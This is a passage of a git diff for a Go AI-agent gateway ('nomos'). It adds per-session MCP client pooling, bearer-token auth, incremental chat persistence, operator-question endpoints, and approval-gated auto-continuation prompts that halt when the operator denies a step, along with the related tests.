|
||||
}
|
||||
var b strings.Builder
|
||||
fmt.Fprintf(&b, "[System: execution %s (%s) finished with status=%s.\nResult: %s\n\n",
|
||||
p.ExecID, action, p.Status, result)
|
||||
switch p.Status {
|
||||
case "completed":
|
||||
b.WriteString("It SUCCEEDED. Continue the approved plan: run the next step. If this was the final step, verify the end goal actually works (e.g. curl the service) and then report success to the operator. Do NOT stop and wait for the operator to say 'continue'.")
|
||||
case "failed", "cancelled":
|
||||
b.WriteString("It FAILED. Do NOT give up or hand back to the operator. Diagnose the cause from the result above (and by running read-only inspection commands if needed), form a hypothesis, fix it, and retry or take an alternative approach. You have an active assent window, so config_mutation steps run without re-approval. Only stop and ask the operator if you are genuinely blocked (need information only they have) or the fix would require a destructive action they haven't approved.")
|
||||
default: // denied / revoked
|
||||
b.WriteString("The operator denied or revoked this step. Stop executing this plan and briefly acknowledge.")
|
||||
}
|
||||
b.WriteString("]")
|
||||
return b.String()
|
||||
}
|
||||
39
cmd/nomos/continue_test.go
Normal file
39
cmd/nomos/continue_test.go
Normal file
@@ -0,0 +1,39 @@
|
||||
package main
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestExtractExecutionIDs(t *testing.T) {
|
||||
// Real tool-result phrasings that should yield an execution id.
|
||||
pos := map[string]string{
|
||||
`"pct_create on host:strong auto-approved via assent window — execution 019f4b19-eafd-74ed-baa6-d24a27b3f52c running."`: "019f4b19-eafd-74ed-baa6-d24a27b3f52c",
|
||||
`"run on lxc:caddy requires approval (risk: config_mutation) — execution 019f4af7-7eff-7723-b38c-b540b267f407 queued."`: "019f4af7-7eff-7723-b38c-b540b267f407",
|
||||
`"apt_upgrade on host:hubris auto-approved via assent window — execution 019f4b58-c88c-7767-87dd-044608ced913 running."`: "019f4b58-c88c-7767-87dd-044608ced913",
|
||||
}
|
||||
for in, want := range pos {
|
||||
ids := extractExecutionIDs(in)
|
||||
if len(ids) != 1 || ids[0].String() != want {
|
||||
t.Errorf("extractExecutionIDs(%q) = %v, want [%s]", in, ids, want)
|
||||
}
|
||||
}
|
||||
|
||||
// Synchronous auto-run and read-only results carry no "execution <uuid>"
|
||||
// phrasing — they've already completed inline and must NOT be linked for
|
||||
// continuation.
|
||||
neg := []string{
|
||||
`"run on host:strong (read_only, auto): 09:30 up 8 days"`,
|
||||
`"run on lxc:caddy (config_mutation, auto via assent window): done"`,
|
||||
`[{"slug":"lxc:caddy","health":"healthy"}]`,
|
||||
`"target not found: lxc:nope"`,
|
||||
}
|
||||
for _, in := range neg {
|
||||
if ids := extractExecutionIDs(in); len(ids) != 0 {
|
||||
t.Errorf("extractExecutionIDs(%q) = %v, want none", in, ids)
|
||||
}
|
||||
}
|
||||
|
||||
// De-dupes repeated ids in one result.
|
||||
dup := `execution 019f4b19-eafd-74ed-baa6-d24a27b3f52c queued ... execution 019f4b19-eafd-74ed-baa6-d24a27b3f52c running`
|
||||
if ids := extractExecutionIDs(dup); len(ids) != 1 {
|
||||
t.Errorf("expected de-dup to 1 id, got %v", ids)
|
||||
}
|
||||
}
|
||||
@@ -15,6 +15,9 @@ import (
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/dtoro/oikos/internal/safego"
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
func main() {
|
||||
@@ -26,6 +29,10 @@ func main() {
|
||||
if mcpURL == "" {
|
||||
mcpURL = "http://localhost:8090/mcp"
|
||||
}
|
||||
// api's combinedAuth requires a bearer token on every request (no
|
||||
// dev-open bypass — plans/2026-07-12-wails-desktop-app.md 0.4); this is
|
||||
// the same shared secret api validates against (OIKOS_MCP_BEARER_TOKEN).
|
||||
mcpToken := os.Getenv("OIKOS_MCP_BEARER_TOKEN")
|
||||
|
||||
agentSlug := os.Getenv("NOMOS_AGENT_SLUG")
|
||||
if agentSlug == "" {
|
||||
@@ -42,10 +49,19 @@ func main() {
|
||||
ctx, cancel := signal.NotifyContext(context.Background(), syscall.SIGTERM, syscall.SIGINT)
|
||||
defer cancel()
|
||||
|
||||
client, err := newMCPClient(mcpURL)
|
||||
if err != nil {
|
||||
// One MCP client PER SESSION, not one shared client for the whole
|
||||
// process — see mcpClientPool's doc comment. A dedicated client is
|
||||
// created lazily on each session's first tool call.
|
||||
clientPool := newMCPClientPool(mcpURL, mcpToken)
|
||||
// Prove connectivity at startup the same way the old single-client
|
||||
// constructor did, so a misconfigured/unreachable MCP endpoint still
|
||||
// fails fast on boot instead of only on the first real chat. Doesn't
|
||||
// reuse the pool (nothing to key it by yet) — just a throwaway probe.
|
||||
if probe, err := newMCPClient(mcpURL, mcpToken); err != nil {
|
||||
slog.Error("nomos: mcp connect", "url", mcpURL, "error", err)
|
||||
os.Exit(1)
|
||||
} else {
|
||||
probe.close()
|
||||
}
|
||||
|
||||
st, err := newStore(ctx, databaseURL)
|
||||
@@ -57,19 +73,42 @@ func main() {
|
||||
defer st.close()
|
||||
}
|
||||
|
||||
nAgent, err := newAgent(ctx, client, st, agentSlug)
|
||||
nAgent, err := newAgent(ctx, clientPool, st, agentSlug)
|
||||
if err != nil {
|
||||
slog.Error("nomos: agent init", "error", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// Event-driven auto-continuation: feed finished async executions back
|
||||
// into the agent so an approved plan runs to completion (and recovers
|
||||
// from failures) without the operator ticking it forward each step.
|
||||
safego.Go("nomos:continuation-worker", func() { nAgent.runContinuationWorker(ctx) })
|
||||
|
||||
// Idle sweep for stalled goal-bearing tasks (fix 2+3 of
|
||||
// plans/2026-07-11-task-completion-safety-net.md) — a coarser,
|
||||
// slower-ticking counterpart to the continuation worker above.
|
||||
safego.Go("nomos:idle-sweep-worker", func() { nAgent.runIdleSweepWorker(ctx) })
|
||||
|
||||
safego.Go("nomos:mcp-pool-sweeper", func() {
|
||||
ticker := time.NewTicker(5 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
clientPool.sweep()
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
mux := http.NewServeMux()
|
||||
mux.HandleFunc("/healthz", func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(200)
|
||||
w.Write([]byte("ok"))
|
||||
})
|
||||
mux.HandleFunc("/query", func(w http.ResponseWriter, r *http.Request) {
|
||||
handleQuery(w, r, client, agentSlug, mcpURL)
|
||||
handleQuery(w, r, clientPool, agentSlug, mcpURL)
|
||||
})
|
||||
mux.HandleFunc("/chat", func(w http.ResponseWriter, r *http.Request) {
|
||||
handleChat(w, r, nAgent, st)
|
||||
@@ -78,7 +117,7 @@ func main() {
|
||||
handleSessionsList(w, r, st)
|
||||
})
|
||||
mux.HandleFunc("/sessions/", func(w http.ResponseWriter, r *http.Request) {
|
||||
handleSessionDetail(w, r, st)
|
||||
handleSessionDetail(w, r, st, nAgent)
|
||||
})
|
||||
|
||||
addr := os.Getenv("NOMOS_LISTEN")
|
||||
@@ -87,17 +126,17 @@ func main() {
|
||||
}
|
||||
|
||||
srv := &http.Server{Addr: addr, Handler: mux}
|
||||
go func() {
|
||||
safego.Go("nomos:http-server", func() {
|
||||
slog.Info("nomos: gateway listening", "addr", addr, "mcp", mcpURL, "db", databaseURL != "")
|
||||
if err := srv.ListenAndServe(); err != http.ErrServerClosed {
|
||||
slog.Error("nomos: serve", "error", err)
|
||||
}
|
||||
}()
|
||||
})
|
||||
|
||||
<-ctx.Done()
|
||||
slog.Info("nomos: shutting down")
|
||||
srv.Shutdown(context.Background())
|
||||
client.close()
|
||||
clientPool.closeAll()
|
||||
|
||||
default:
|
||||
fmt.Fprintf(os.Stderr, "unknown command: %s\n", os.Args[1])
|
||||
@@ -144,9 +183,21 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
||||
ctx := r.Context()
|
||||
sessionID := req.SessionID
|
||||
|
||||
// pctx (persistence context) is deliberately context.Background(), not
|
||||
// ctx/r.Context(), for every DB write in this handler — ctx cancels the
|
||||
// instant the client disconnects (Stop button, tab close, network blip),
|
||||
// and a write made with an already-cancelled context fails. Before this
|
||||
// fix, the assistant message was only ever saved ONCE, at the very end,
|
||||
// using ctx — so a disconnect mid-turn silently lost the ENTIRE turn's
|
||||
// tool-call history from the persisted transcript, even though real work
|
||||
// (executions launched, knowledge written) had already happened
|
||||
// server-side. The agent's own work (a.chat below) still correctly stops
|
||||
// when ctx cancels — this only changes what happens to persistence.
|
||||
pctx := context.Background()
|
||||
|
||||
if sessionID == "" {
|
||||
title := truncate(req.Message, 80)
|
||||
sess, err := st.createSession(ctx, title)
|
||||
sess, err := st.createSession(pctx, title)
|
||||
if err != nil {
|
||||
slog.Error("nomos: create session", "error", err)
|
||||
sessionID = "ephemeral"
|
||||
@@ -154,25 +205,55 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
||||
sessionID = sess.ID
|
||||
}
|
||||
} else {
|
||||
st.touchSession(ctx, sessionID)
|
||||
st.touchSession(pctx, sessionID)
|
||||
}
|
||||
|
||||
slog.Info("nomos: chat", "session", sessionID, "message", truncate(req.Message, 100))
|
||||
|
||||
userMsg, _ := json.Marshal(map[string]any{"role": "user", "text": req.Message})
|
||||
st.saveMessage(ctx, sessionID, "user", userMsg)
|
||||
st.saveMessage(pctx, sessionID, "user", userMsg)
|
||||
|
||||
// If this task has a pending operator question, the incoming message IS the
|
||||
// answer — close it so the panel clears. No separate resume needed: this
|
||||
// chat turn is the resume, and the agent sees the question + answer in its
|
||||
// replayed history.
|
||||
if qid := st.openQuestionID(pctx, sessionID); qid != "" {
|
||||
st.answerQuestion(pctx, sessionID, qid, req.Message)
|
||||
}
|
||||
|
||||
sseEvent(w, flusher, agentEvent{Type: "session", Data: sessionID, SessionID: sessionID})
|
||||
|
||||
toolCalls := []map[string]any{}
|
||||
var finalText string
|
||||
|
||||
// Incremental persistence, mirroring resumeSession's existing
|
||||
// placeholder+update pattern (continue.go): insert a placeholder now,
|
||||
// update the SAME row after every tool call, so whatever happened before
|
||||
// an abort is never lost — only what hadn't happened yet is.
|
||||
placeholder, _ := json.Marshal(map[string]any{"role": "assistant", "text": ""})
|
||||
msgID, err := st.insertMessageReturningID(pctx, sessionID, "assistant", placeholder)
|
||||
if err != nil {
|
||||
slog.Error("nomos: chat placeholder insert failed", "session", sessionID, "error", err)
|
||||
}
|
||||
persist := func() {
|
||||
if msgID == uuid.Nil {
|
||||
return
|
||||
}
|
||||
body, _ := json.Marshal(map[string]any{
|
||||
"role": "assistant",
|
||||
"text": finalText,
|
||||
"tool_calls": toolCalls,
|
||||
})
|
||||
st.updateMessage(pctx, msgID, body)
|
||||
}
|
||||
|
||||
a.chat(ctx, sessionID, req.Message, func(ev agentEvent) {
|
||||
if ev.Type == "tool_use" || ev.Type == "tool_result" {
|
||||
if m, ok := ev.Data.(map[string]any); ok {
|
||||
m["type"] = ev.Type
|
||||
toolCalls = append(toolCalls, m)
|
||||
}
|
||||
persist() // live: survives even if the client disconnects right after
|
||||
}
|
||||
if ev.Type == "text" {
|
||||
finalText, _ = ev.Data.(string)
|
||||
@@ -180,12 +261,16 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
||||
sseEvent(w, flusher, ev)
|
||||
})
|
||||
|
||||
assistantMsg, _ := json.Marshal(map[string]any{
|
||||
"role": "assistant",
|
||||
"text": finalText,
|
||||
"tool_calls": toolCalls,
|
||||
})
|
||||
st.saveMessage(ctx, sessionID, "assistant", assistantMsg)
|
||||
persist() // final state — same row, updated one last time with the concluding text
|
||||
|
||||
// Generate a meaningful title from the assistant's first answer
|
||||
// instead of reusing the raw user message for every session.
|
||||
if finalText != "" && sessionID != "ephemeral" {
|
||||
title := truncate(finalText, 80)
|
||||
if title != "" {
|
||||
st.updateSessionTitle(pctx, sessionID, title)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func handleSessionsList(w http.ResponseWriter, r *http.Request, st *store) {
|
||||
@@ -208,28 +293,104 @@ func handleSessionsList(w http.ResponseWriter, r *http.Request, st *store) {
|
||||
json.NewEncoder(w).Encode(map[string]any{"sessions": sessions})
|
||||
}
|
||||
|
||||
func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store) {
|
||||
func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *agent) {
|
||||
if st == nil {
|
||||
http.Error(w, "not found", 404)
|
||||
return
|
||||
}
|
||||
|
||||
id := strings.TrimPrefix(r.URL.Path, "/sessions/")
|
||||
rest := strings.TrimPrefix(r.URL.Path, "/sessions/")
|
||||
parts := strings.Split(rest, "/")
|
||||
id := parts[0]
|
||||
if id == "" {
|
||||
http.Error(w, "session id required", 400)
|
||||
return
|
||||
}
|
||||
|
||||
messages, err := st.getMessages(r.Context(), id)
|
||||
if err != nil {
|
||||
// POST /sessions/{id}/questions/{qid}/answer — the operator answers a
|
||||
// pinned question from the context panel; resume the agent with the answer.
|
||||
if len(parts) == 4 && parts[1] == "questions" && parts[3] == "answer" {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", 405)
|
||||
return
|
||||
}
|
||||
handleAnswerQuestion(w, r, st, a, id, parts[2])
|
||||
return
|
||||
}
|
||||
|
||||
// GET /sessions/{id}/plan and /sessions/{id}/questions — REST hydration for
|
||||
// the context panel when it first opens a task; live events carry deltas
|
||||
// from there.
|
||||
if len(parts) == 2 && r.Method == http.MethodGet {
|
||||
switch parts[1] {
|
||||
case "plan":
|
||||
steps, err := st.getPlanSteps(r.Context(), id)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), 500)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"steps": steps})
|
||||
return
|
||||
case "questions":
|
||||
questions, err := st.getQuestions(r.Context(), id)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), 500)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"questions": questions})
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
switch r.Method {
|
||||
case http.MethodDelete:
|
||||
if err := st.deleteSession(r.Context(), id); err != nil {
|
||||
http.Error(w, err.Error(), 500)
|
||||
return
|
||||
}
|
||||
w.WriteHeader(204)
|
||||
|
||||
case http.MethodGet:
|
||||
messages, err := st.getMessages(r.Context(), id)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), 500)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"session_id": id, "messages": messages})
|
||||
|
||||
default:
|
||||
http.Error(w, "method not allowed", 405)
|
||||
}
|
||||
}
|
||||
|
||||
// handleAnswerQuestion records the operator's answer to a pinned question and
|
||||
// resumes the agent in the background with that answer injected. Returns 202 —
|
||||
// the agent's response lands via the normal message-polling path, not this POST.
|
||||
func handleAnswerQuestion(w http.ResponseWriter, r *http.Request, st *store, a *agent, sessionID, questionID string) {
|
||||
var req struct {
|
||||
Answer string `json:"answer"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || strings.TrimSpace(req.Answer) == "" {
|
||||
http.Error(w, "answer is required", 400)
|
||||
return
|
||||
}
|
||||
prompt, _, _ := st.getQuestion(r.Context(), questionID)
|
||||
if err := st.answerQuestion(r.Context(), sessionID, questionID, req.Answer); err != nil {
|
||||
http.Error(w, err.Error(), 500)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"session_id": id, "messages": messages})
|
||||
if a != nil {
|
||||
note := fmt.Sprintf("[System: the operator answered your question %q with: %q. "+
|
||||
"Continue the task from here — do not re-ask.]", prompt, req.Answer)
|
||||
safego.Go("nomos:resume-session", func() { a.resumeSession(context.Background(), sessionID, note) })
|
||||
}
|
||||
w.WriteHeader(202)
|
||||
}
|
||||
|
||||
func handleQuery(w http.ResponseWriter, r *http.Request, client *mcpClient, agentSlug, mcpURL string) {
|
||||
func handleQuery(w http.ResponseWriter, r *http.Request, pool *mcpClientPool, agentSlug, mcpURL string) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", 405)
|
||||
return
|
||||
@@ -245,6 +406,16 @@ func handleQuery(w http.ResponseWriter, r *http.Request, client *mcpClient, agen
|
||||
return
|
||||
}
|
||||
|
||||
// The structured /query endpoint is stateless/session-less — "query" is a
|
||||
// fixed pool key (not a real session id) so repeated calls reuse one
|
||||
// dedicated connection instead of paying a fresh MCP handshake every time,
|
||||
// while still never sharing a connection with an actual chat task.
|
||||
client, err := pool.get("query")
|
||||
if err != nil {
|
||||
http.Error(w, "mcp unavailable: "+err.Error(), 502)
|
||||
return
|
||||
}
|
||||
|
||||
start := time.Now()
|
||||
|
||||
if req.Tool != "" {
|
||||
@@ -315,15 +486,29 @@ func truncate(s string, n int) string {
|
||||
|
||||
type mcpClient struct {
|
||||
baseURL string
|
||||
token string // OIKOS_MCP_BEARER_TOKEN — api's combinedAuth requires it on every request (no dev-open bypass)
|
||||
sessionID string
|
||||
http *http.Client
|
||||
nextID int
|
||||
mu sync.Mutex // MCP is one stateful session; serialize concurrent calls
|
||||
mu sync.Mutex // this client is one stateful MCP session; serialize ITS OWN calls
|
||||
|
||||
// toolsCache holds the last tools/list result. The tool list is static
|
||||
// for the lifetime of one MCP connection — it only changes when the api
|
||||
// process (re)registers tools, i.e. on a restart, which this client
|
||||
// already detects and reacts to via reconnectLocked. Without this,
|
||||
// buildTools (called at the start of EVERY chat turn, including every
|
||||
// auto-continuation resume) paid a full tools/list round-trip every
|
||||
// single time for a list that's almost always identical to the last one.
|
||||
// Guarded separately from mu (not reused) so a cache check never
|
||||
// contends with an in-flight doRequest call for a different method.
|
||||
toolsMu sync.Mutex
|
||||
toolsCache []toolDef
|
||||
}
|
||||
|
||||
func newMCPClient(baseURL string) (*mcpClient, error) {
|
||||
func newMCPClient(baseURL, token string) (*mcpClient, error) {
|
||||
c := &mcpClient{
|
||||
baseURL: baseURL,
|
||||
token: token,
|
||||
http: &http.Client{Timeout: 30 * time.Second},
|
||||
}
|
||||
|
||||
@@ -378,6 +563,12 @@ func (c *mcpClient) doRequest(method string, params map[string]any) (*mcpJSONRPC
|
||||
// reconnectLocked re-initializes the MCP session. The caller must hold c.mu.
|
||||
func (c *mcpClient) reconnectLocked() error {
|
||||
c.sessionID = ""
|
||||
// A reconnect means the api process was restarted (or forgot us) — its
|
||||
// tool registration may have changed, so the cached list is no longer
|
||||
// trustworthy.
|
||||
c.toolsMu.Lock()
|
||||
c.toolsCache = nil
|
||||
c.toolsMu.Unlock()
|
||||
resp, err := c.send("initialize", map[string]any{
|
||||
"protocolVersion": "2024-11-05",
|
||||
"capabilities": map[string]any{},
|
||||
@@ -414,6 +605,9 @@ func (c *mcpClient) send(method string, params map[string]any) (*mcpJSONRPCRespo
|
||||
if c.sessionID != "" {
|
||||
req.Header.Set("Mcp-Session-Id", c.sessionID)
|
||||
}
|
||||
if c.token != "" {
|
||||
req.Header.Set("Authorization", "Bearer "+c.token)
|
||||
}
|
||||
|
||||
resp, err := c.http.Do(req)
|
||||
if err != nil {
|
||||
@@ -518,3 +712,107 @@ func (c *mcpClient) listTools() ([]string, error) {
|
||||
|
||||
func (c *mcpClient) close() {
|
||||
}
|
||||
|
||||
// ─── Per-session MCP client pool ────────────────────────────────────────
|
||||
//
|
||||
// A single shared mcpClient serializes EVERY tool call across EVERY
|
||||
// concurrently-running task through one mutex (see mcpClient.mu) — `run`
|
||||
// executes its SSH command synchronously inside that lock and is capped at
|
||||
// up to 10 minutes, so one task mid-`run` stalled every other task's tool
|
||||
// calls, even trivial reads, behind it. The MCP *server* has no per-
|
||||
// connection state to protect (newServer in internal/mcp/server.go returns
|
||||
// one shared *mcp.Server instance whose tool handlers close only over the DB
|
||||
// pool, which is already safe for concurrent use) — the mutex existed purely
|
||||
// because the *client* reused one stateful transport session, not because
|
||||
// the server needed it. Giving each task's own session its own client
|
||||
// removes the cross-task serialization entirely: a task's own tool calls
|
||||
// stay sequential (which they already are — the agent loop calls tools one
|
||||
// at a time within a turn), but no longer block anyone else's.
|
||||
type mcpClientPool struct {
|
||||
baseURL string
|
||||
token string
|
||||
mu sync.Mutex
|
||||
clients map[string]*pooledMCPClient
|
||||
}
|
||||
|
||||
type pooledMCPClient struct {
|
||||
client *mcpClient
|
||||
lastUsed time.Time
|
||||
}
|
||||
|
||||
func newMCPClientPool(baseURL, token string) *mcpClientPool {
|
||||
return &mcpClientPool{baseURL: baseURL, token: token, clients: make(map[string]*pooledMCPClient)}
|
||||
}
|
||||
|
||||
// get returns the client for sessionID, creating and initializing one (a
|
||||
// real MCP handshake) on first use. Session ids that don't identify a real
|
||||
// persisted conversation ("" / "ephemeral", the no-DB-store path; "query",
|
||||
// the structured /query endpoint) still get exactly one dedicated,
|
||||
// reused client each via the same map — just keyed on a fixed string instead
|
||||
// of a real session id — so that traffic doesn't pay a fresh handshake per
|
||||
// request while still never sharing a connection with an actual task.
|
||||
func (p *mcpClientPool) get(sessionID string) (*mcpClient, error) {
|
||||
key := sessionID
|
||||
if key == "" {
|
||||
key = "ephemeral"
|
||||
}
|
||||
|
||||
p.mu.Lock()
|
||||
if pc, ok := p.clients[key]; ok {
|
||||
pc.lastUsed = time.Now()
|
||||
p.mu.Unlock()
|
||||
return pc.client, nil
|
||||
}
|
||||
p.mu.Unlock()
|
||||
|
||||
// Initialize outside the lock — it's a network round-trip, and holding
|
||||
// the pool mutex for it would serialize unrelated sessions' first calls
|
||||
// behind each other, undermining the whole point of this pool.
|
||||
c, err := newMCPClient(p.baseURL, p.token)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
p.mu.Lock()
|
||||
// Another goroutine may have created one for the same key while we were
|
||||
// initializing (two of this session's tool calls racing on a cold
|
||||
// start); keep whichever won, close out the loser's connection (a no-op
|
||||
// today, but future-proof if mcpClient.close ever does real teardown).
|
||||
if existing, ok := p.clients[key]; ok {
|
||||
p.mu.Unlock()
|
||||
c.close()
|
||||
return existing.client, nil
|
||||
}
|
||||
p.clients[key] = &pooledMCPClient{client: c, lastUsed: time.Now()}
|
||||
p.mu.Unlock()
|
||||
return c, nil
|
||||
}
|
||||
|
||||
// mcpClientIdleTimeout is how long an idle session's MCP client is kept
|
||||
// before eviction — long enough to outlive a single slow `run` (capped at 10
|
||||
// minutes server-side) plus normal think-time between a task's tool calls,
|
||||
// short enough not to accumulate one abandoned connection per finished task
|
||||
// forever.
|
||||
const mcpClientIdleTimeout = 20 * time.Minute
|
||||
|
||||
// sweep evicts clients idle past mcpClientIdleTimeout. Call on a ticker.
|
||||
func (p *mcpClientPool) sweep() {
|
||||
cutoff := time.Now().Add(-mcpClientIdleTimeout)
|
||||
p.mu.Lock()
|
||||
defer p.mu.Unlock()
|
||||
for key, pc := range p.clients {
|
||||
if pc.lastUsed.Before(cutoff) {
|
||||
pc.client.close()
|
||||
delete(p.clients, key)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (p *mcpClientPool) closeAll() {
|
||||
p.mu.Lock()
|
||||
defer p.mu.Unlock()
|
||||
for key, pc := range p.clients {
|
||||
pc.client.close()
|
||||
delete(p.clients, key)
|
||||
}
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
238
cmd/nomos/store_test.go
Normal file
238
cmd/nomos/store_test.go
Normal file
@@ -0,0 +1,238 @@
|
||||
package main
|
||||
|
||||
// Integration tests against a real Postgres, mirroring
|
||||
// internal/db/integration_test.go's pattern: guarded by
|
||||
// OIKOS_TEST_DATABASE_URL (skipped when unset), throwaway database per run,
|
||||
// full migrations applied, dropped on cleanup. Run with:
|
||||
//
|
||||
// docker compose up -d postgres
|
||||
// OIKOS_TEST_DATABASE_URL="postgres://oikos:oikos_dev@localhost:5432/oikos?sslmode=disable" go test ./cmd/nomos/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/jackc/pgx/v5"
|
||||
)
|
||||
|
||||
// newTestStore creates a throwaway, fully-migrated database and returns a
|
||||
// *store connected to it, cleaned up (including a matching task:<session>
|
||||
// entity type in the ontology, needed by createTaskEntity/proposePlan tests)
|
||||
// via t.Cleanup.
|
||||
func newTestStore(t *testing.T) *store {
|
||||
t.Helper()
|
||||
baseURL := os.Getenv("OIKOS_TEST_DATABASE_URL")
|
||||
if baseURL == "" {
|
||||
t.Skip("OIKOS_TEST_DATABASE_URL not set — skipping integration test")
|
||||
}
|
||||
ctx := context.Background()
|
||||
|
||||
admin, err := pgx.Connect(ctx, baseURL)
|
||||
if err != nil {
|
||||
t.Fatalf("connect admin: %v", err)
|
||||
}
|
||||
dbName := fmt.Sprintf("oikos_test_nomos_%08x", rand.Int63())
|
||||
if _, err := admin.Exec(ctx, "CREATE DATABASE "+dbName); err != nil {
|
||||
admin.Close(ctx)
|
||||
t.Fatalf("create test db: %v", err)
|
||||
}
|
||||
admin.Close(ctx)
|
||||
|
||||
testURL := swapTestDatabase(baseURL, dbName)
|
||||
pool, err := db.New(ctx, testURL)
|
||||
if err != nil {
|
||||
t.Fatalf("connect test db: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
pool.Close()
|
||||
admin, err := pgx.Connect(ctx, baseURL)
|
||||
if err == nil {
|
||||
admin.Exec(ctx, "DROP DATABASE IF EXISTS "+dbName+" WITH (FORCE)")
|
||||
admin.Close(ctx)
|
||||
}
|
||||
})
|
||||
if err := pool.Migrate(ctx); err != nil {
|
||||
t.Fatalf("migrate: %v", err)
|
||||
}
|
||||
|
||||
// session_plan_steps/session_questions tests don't need the ontology
|
||||
// seed, but createTaskEntity's INSERT INTO entities (type='task') has an
|
||||
// FK to entity_types — seed the minimal rows it needs directly rather
|
||||
// than pulling in the full seeds/ontology.yaml ingest path.
|
||||
if _, err := pool.Exec(ctx, `
|
||||
INSERT INTO entity_types (name, domain, layer) VALUES ('entity', 'meta', 'meta')
|
||||
ON CONFLICT DO NOTHING;
|
||||
INSERT INTO entity_types (name, parent_type, domain, layer) VALUES ('task', 'entity', 'cognition', 'cognition')
|
||||
ON CONFLICT DO NOTHING;`); err != nil {
|
||||
t.Fatalf("seed minimal ontology: %v", err)
|
||||
}
|
||||
|
||||
return &store{pool: pool.Pool}
|
||||
}
|
||||
|
||||
func swapTestDatabase(url, dbName string) string {
|
||||
qi := strings.Index(url, "?")
|
||||
params, base := "", url
|
||||
if qi >= 0 {
|
||||
params = url[qi:]
|
||||
base = url[:qi]
|
||||
}
|
||||
si := strings.LastIndex(base, "/")
|
||||
return base[:si+1] + dbName + params
|
||||
}
|
||||
|
||||
// TestGetRecentMessages_Truncation is the concrete proof for fix A2 of
|
||||
// plans/2026-07-11-nomos-agent-code-review.md: chatWith used to replay a
|
||||
// session's ENTIRE history on every turn with no bound. getRecentMessages
|
||||
// caps that; this test checks both sides — under the limit, nothing is
|
||||
// dropped and truncated=false; over it, only the most recent `limit` come
|
||||
// back, in chronological order, with truncated=true.
|
||||
func TestGetRecentMessages_Truncation(t *testing.T) {
|
||||
s := newTestStore(t)
|
||||
ctx := context.Background()
|
||||
|
||||
sess, err := s.createSession(ctx, "history window test")
|
||||
if err != nil {
|
||||
t.Fatalf("createSession: %v", err)
|
||||
}
|
||||
|
||||
const total = 35
|
||||
const limit = 30
|
||||
for i := 0; i < total; i++ {
|
||||
role := "user"
|
||||
if i%2 == 1 {
|
||||
role = "assistant"
|
||||
}
|
||||
body := fmt.Appendf(nil, `{"role":%q,"text":"msg-%d"}`, role, i)
|
||||
if err := s.saveMessage(ctx, sess.ID, role, body); err != nil {
|
||||
t.Fatalf("saveMessage %d: %v", i, err)
|
||||
}
|
||||
}
|
||||
|
||||
msgs, truncated, err := s.getRecentMessages(ctx, sess.ID, limit)
|
||||
if err != nil {
|
||||
t.Fatalf("getRecentMessages: %v", err)
|
||||
}
|
||||
if !truncated {
|
||||
t.Errorf("truncated = false, want true (%d messages > limit %d)", total, limit)
|
||||
}
|
||||
if len(msgs) != limit {
|
||||
t.Fatalf("got %d messages, want %d", len(msgs), limit)
|
||||
}
|
||||
// Chronological order: the oldest of the RETAINED messages should be the
|
||||
// (total-limit)-th one saved (msg-5, since msg-0..4 were dropped), and
|
||||
// the last should be the most recently saved (msg-34).
|
||||
wantFirst := fmt.Sprintf("msg-%d", total-limit)
|
||||
wantLast := fmt.Sprintf("msg-%d", total-1)
|
||||
if got := extractText(msgs[0].Content); got != wantFirst {
|
||||
t.Errorf("first retained message = %q, want %q", got, wantFirst)
|
||||
}
|
||||
if got := extractText(msgs[len(msgs)-1].Content); got != wantLast {
|
||||
t.Errorf("last retained message = %q, want %q", got, wantLast)
|
||||
}
|
||||
|
||||
// Under the limit: nothing dropped.
|
||||
sess2, err := s.createSession(ctx, "small session")
|
||||
if err != nil {
|
||||
t.Fatalf("createSession: %v", err)
|
||||
}
|
||||
for i := 0; i < 5; i++ {
|
||||
body := fmt.Appendf(nil, `{"role":"user","text":"msg-%d"}`, i)
|
||||
if err := s.saveMessage(ctx, sess2.ID, "user", body); err != nil {
|
||||
t.Fatalf("saveMessage: %v", err)
|
||||
}
|
||||
}
|
||||
msgs2, truncated2, err := s.getRecentMessages(ctx, sess2.ID, limit)
|
||||
if err != nil {
|
||||
t.Fatalf("getRecentMessages (small): %v", err)
|
||||
}
|
||||
if truncated2 {
|
||||
